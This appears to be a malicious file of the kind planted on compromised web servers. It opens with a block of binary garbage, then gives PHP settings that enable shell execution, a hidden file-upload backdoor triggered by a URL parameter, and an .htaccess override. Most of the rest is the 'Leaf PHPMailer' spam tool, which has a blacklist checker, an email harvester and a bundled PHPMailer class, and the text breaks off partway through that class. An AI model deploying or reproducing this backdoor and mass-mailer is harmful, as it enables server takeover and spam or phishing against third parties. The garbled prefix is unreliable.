Wu9oҎuӯ!y1]Jd!qQoZ7 #NTGC(cb;pͬIqzтܒI8FxO#4
LӍViWLXNe_3 $*kXQjiǛ)xzvxqugkcrmV1vLGei팭r,}{I9?5**O쪉#Ns?w#l]p{w#=Լğ^'XET"VzP98,Ė
+^7%J(ڄP)vv6$FWMӒi:gg
4 kdjrhyeoptkdjrhyeoptpd_t_u!$'	nU9Hykdjrhyeoptnҗ-	2Y;r[&iy zvxqugkcrmD})|Ųn&ܹQI8蠜mf[#˔sq
zvxqugkcrmn@A:5$J!8E*Y{=HiǜuL(.r(/7%dT ٫!b\,y#)/0hLzvxqugkcrm.Ftk;iW㋡B"3ДBoB5
U\Yl&2j'*6l]J\ⴕ1mwFk2Ɂx'W޾g
$&vRLg8
lh}aR_J[b}o1uy?!:U+_Hm"zvxqugkcrm҉b!~l}Fh3M72OyHdQU6[N?{qM~i;Qu4ŭeGb`\rRq^O{\c !l"=##7L #n`DI aǿ/`fz;9- 4~NڜD}hG|	Q%y͉nUјe쾞\bqx?xKt OC+4rmp|`bh;]ox~v5xOK0%Pʮ!HVTjkj
$_ugeIBKkdjrhyeopt
 |l(宑zvxqugkcrmF3WiqCsr&Vїx=}oL
&ESK^6N{-ُD%	H6/ehtǏm|Z`.6kwyO'=o4NuTF; +O"
oz&[d#?4:2B\*V*@Z=m8[] /R(EFrےE+kdjrhyeoptKkS8=Ʊ^M7:~E
[mȓ45!佛ʝp$?zvxqugkcrmEuo
H(W;hL?k-:dA
lQ;݈S|sFMSgIxmsvPK,Kwo6&$VUS-O5v1sĀ-"LTkdjrhyeoptU9ei'dIp`f6诜LAp)@]Nϋ0W2r)H-" X?﨤Zu)bwT@sVMM]&yGbbԗB%adpba&g;ѦMQ=ΨuǲKzvxqugkcrm{	%);l/)s(e9?'Ov9kdjrhyeoptwµSxMM"oW!tUq=ٙ^2=LnOd_i"~-N1;}נANvتkdjrhyeoptɇoN2Ukdjrhyeoptb-yT:Q/i
3[6a咜$2E.S]dn{iO8ߝ`o?s&	/ -r gȋ2M'&[1`#.ܬ8mu(xe6/NW&HX"7*6RG]zvxqugkcrmYBgdhT:`DĉҎ,Cw' _oenO=x09ˈj4]}wNӘW"+{F#0#f$º`ϛlM]XqaQ򮇏Y'ƥl/rN)+u PrhW)R2_wi琤37uRRz/h4҉i F@mrQ
{OSTj@N%Wc:VTB_%f04VU TDB$n:Oى/lWh,
4'Dpr;*^@EYrWrEIYI""?-:kINϬszvxqugkcrml~=Pgb_aSM+RPa,(($j=zvxqugkcrm,#zvxqugkcrm?LKmb:lXmGzvxqugkcrmkށWbVJŉc4Kzvxqugkcrmְpi)'ώ/=YYH8}K&#FQQpn@|Fz؃@`j@+"IAj&QCj2kgI)Q#;"1|tfߞ1!^`vA3X.Iv}WLYT:.a?0`5xBKr3¦e7=IDVBBuGpX
{
·&50c7{׾)Jb	SOp,
qEW=rN"#XwΧ4L3Ce@1`fZڸ1Ic47
lRxp FhVN+OcQG&.gayToҧ&q{ ̗E''dEiL-^n.yo~t+R?a=2 vFvLdS{Bl\.$bɳɷ836cCBc#e뱣l1MLCTkdjrhyeopt
rdK6/#Zozvxqugkcrm)ۢ0`D-{2?zvxqugkcrmllqDQcrp)NJЈpS}EZŇ0'|*doOd*,ۆSlpf6TL0Ec X\"T^­6kzvxqugkcrmy#V*lIX4oJkGW~)̧[Cc1͆])-l1JL\l~_YT\tNFzvxqugkcrmʐ$|Ab!+͏h'%A'qkdjrhyeoptAx(kdjrhyeoptmFӅ&݉/ԯWm{GBYrGDքfGm]l}FA|h,w͟K
!}Gf©qo -@kdjrhyeoptmx\vy[zvxqugkcrm) vV0xs&~!}[ qq47]ŲIbQ~a(Gkdjrhyeopt-2&zkdjrhyeoptfX#reG0kxrޭc-u.{eqwQ/Bn8Kd{g	UU1G7ꏂC
7kdjrhyeoptHhn;
	,Aof:S뇁AC#Ti`MBi0D`HhC;z6wr򭡒@gԿ6Huv
6u/oNS Hm@F?VG8CZ&F	w1XHBk)YT%7u2W%.o9zdLb	K3puϐ"F}tgR:}{Rmi PqaJLD_QH-N{kdjrhyeopt|ubd{~	wrLe~s//_˩0jWXYω"!SXjCa@u_b;v QWRQP6kdjrhyeoptյgƙoO5ߡڈMGd*OS2
!{ho!T?2YE	Y18XAs#
	\eͳ(34a	~;"גؚmN΀qyw@Pw:Z5	(sc8ꥈ|8m'
/8MC"-PjN7l`QO %WrڲQRlQnǰ=ev,]3BT7o+̑^;A݌~obSrf4YP+85nި'P-hy5|V;kdjrhyeoptr̜%!@czvxqugkcrmwG;"zvxqugkcrm`Ed/|ZsIhݢnN0 b1+%{Eg\FG?o.U6mB1/@9#{9sO(AkdjrhyeoptAN
9ַZXllzO1BF+b^c"UK:Ji!TA|zNsq1*-a5 3(c:]qEzvxqugkcrm7i.^T-wY@+v&wr-
tIQ]PZzP᫘'GD˟jΧ`OOEBobEU%D0Ա}M7 ŋs8"̂ԐJT2ċ,"g@,mSt%]ͫs40zvxqugkcrmAXsJlMa`,fIׄ .t~͜F~azvxqugkcrm"~!~TOIX\$3]dj7޻G	;n*YPWE6?,]#ed@ԬlvOu P"$zvxqugkcrmeI@lE]s@Et~Bx} WW:c8-+g|0ٱB\ĠjJ|n1 =[~#\誃_=	ɲ@FBIn_3\J,m`?1ـQHh&;hj2]7xF/Nw~1ۃNrߏ2V' r UWu撦x Je&ʺѳ]m׳m^QଯU=[zr6Ъ_~_8	-||h?݄rh莡Thc%ͼPhUX6Fkts|9noF=	֏zvxqugkcrm
ĵIͥ|wʭ-73m*mTRU}`g?2ihQuy@!_tD_fO7? %FA xzvxqugkcrmQ+L2zqvR5Hфef/0DJkHǼ_,s|vpoo[} -kk=8%]~uy,3Mt=/ zvxqugkcrmm'+/r.8;/1rfq!`^ۛY
7[ZuH{1sM.~M'8syL!L)Hޯ%VTZ	erx%QNM]a׸8|}6n)~咮vf^=6eQ𸍈3DWY2o\7ڼN,Ŗ~xo'4z]`XPzDvwg&2+Tp	WSG8)Eiawp:#Y?X:nGu^(*i߉:Υ3
բ)$
Fּ%EPkIb"Wzvxqugkcrm_ǜlZk()/__{TNɯRƆ|A(K' )oKvG#jdbL+
]4D)F
dyjzvxqugkcrm )2ô(O[4J.W׭~u(vu9V_4+IPZgW%w0dkdjrhyeoptrF^RB{,k ˲M7uBfW{4hR,.X6g]4v)1wɭB0l}Z+lb.)r{6鞒|vo~hzn=lÔ2:k#S_XPh[@Nox;)	aZpTHyADC%$,-S|u ˧gWzvxqugkcrm#,,{zvxqugkcrm|lm$/|V?rfY#N&\͞l}G:6 7Z~L͸Rk`UPL#7ueG˙?
:
WDHg˩Pț-kdjrhyeoptI]WSRȢ8Y8ݲiW=h_=i`iSQ7~mk"u,lޓ ݑO)Q~% 8Ό_{7W2㓫2ੇE[vH IuID[Sxkdjrhyeoptcc}Bh5Զ9('
LĘ|'ߊ6G0S.Xx'ahlłqz|#.p
 JozvxqugkcrmXntI?#dT7Fs9'2#.&
zhBMiqafH}CE 6Ԃk:'|T9Eؑ9![fW@|g5jB	U#eV)kٕ:Du=?4L toVc_!H1#%zvxqugkcrm}g87`4Z{q
awXf3F;zvxqugkcrm"S=ȣmMFY4%s)p??^R9xzvxqugkcrm\]6~jWoKcg~hd3kdjrhyeopts ^3]h%GrEpՆ&!dpX \g^[n^#(	-/I}RLzGc:Hkdjrhyeopt~cgGovP}	k"yݣCNo狨z#A1/J
O79ԲEqAle@Al:s7wEÛ\|sܒ[LfUxzvxqugkcrmaaa&8zvxqugkcrmtGi*
^	yn5q~q)]Inc GB.Ɓ&WKK3YdM|E6GOfQ]GvU:ieVMf4ygwv:vArh[-Zl!Wt(9#*/
N7)2xKiZB,x"UPm2\)\ ukdjrhyeopt?{m k|z8a	:uw.ajWPjrXOzRaF	ⱐFf&#ӋBbڬ7˰{ҝ"n*
"M[Ad"1xN(3J.hNV EJ1sʏִbŅ.4Q6+K_87Rk.]jg05*y%|Z^)i
G	X&Odo#d}DI`(Q0G(r_ڤ%+JI|
&b%Y$"w1RGx#JXTS$$4UD
1)gzvxqugkcrmCL[n_B؜_XaګoةӽOt?`onQ+m۔~"9d	(G(HhCPĕ/jD7iFtySCOBuLqf.f6IW]Y{/~'ƺM՜U]S&&mC[?R# 
Iv
':,oTLL55,Tyr\vZQ5w6;
QI?iǤj,K,xO7OݴD+Ԫ&)ֻ1tun۩֑Hidn$o.
?]s!fDiSOr. Hf}DzvxqugkcrmN)	2%_OzDzvxqugkcrmx~f%mz7t)!A,6lA??{%_v.J@8VckrNX/az?eCh&=4KS.nvBvJh/ nST~zvxqugkcrm)R~MGRY Pd-hwHkdjrhyeopt!TbQV#-0,!~d۶TBɉC_yq$QGgz{4i[0opDCVY7M8w~$==
NA qkbQevq0FAS96 i**FdީO*=~/e2,akbk
I\^f[0pL'W3*s'v+kdjrhyeoptę-DP/DTgr&MVr2-F.1VQ8X1̥$")v	7[ay? ^dsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "QF5rHNGIvj9";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
